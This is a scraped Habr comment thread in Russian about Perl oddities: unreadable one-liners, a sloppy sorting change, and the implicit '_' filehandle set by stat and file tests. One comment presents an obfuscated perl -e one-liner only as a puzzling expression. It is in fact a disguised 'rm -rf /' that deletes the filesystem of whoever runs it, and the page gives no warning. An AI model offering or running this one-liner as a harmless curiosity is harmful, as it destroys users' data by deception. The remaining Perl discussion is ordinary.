Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Ммм… Признаюсь, что любое выражение на любом языке в одну строку да со столькью-то (!) операторами выглядит мягенько говоря смутненько.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

whatever / 25 ; # / ; die "this dies!";



а не заметили этого раньше лишь по той причине, что сортировка была чисто косметическим улучшениемЧувак, который написал сортировку даже не удосужился два-три раза внимательно посмотреть на результат с разными входными данными? Он, наверное, пока меньше 10 КБ кода нового не напишет, не смотрит, как всё работает, а потом просто запамятовал. :)
foreach ( qw(file1 file2 file3) ) {
next unless -e _; # без знака доллара
}
_в данном случае — файловый дескриптор, который неявно открывается при вызовах stat() и некоторых filetest-функций (-w, -f, etc.).
_, то в данном цикле -e будет возвращать истину на всех итерациях даже если файла не существует.
Особенности национальных выражений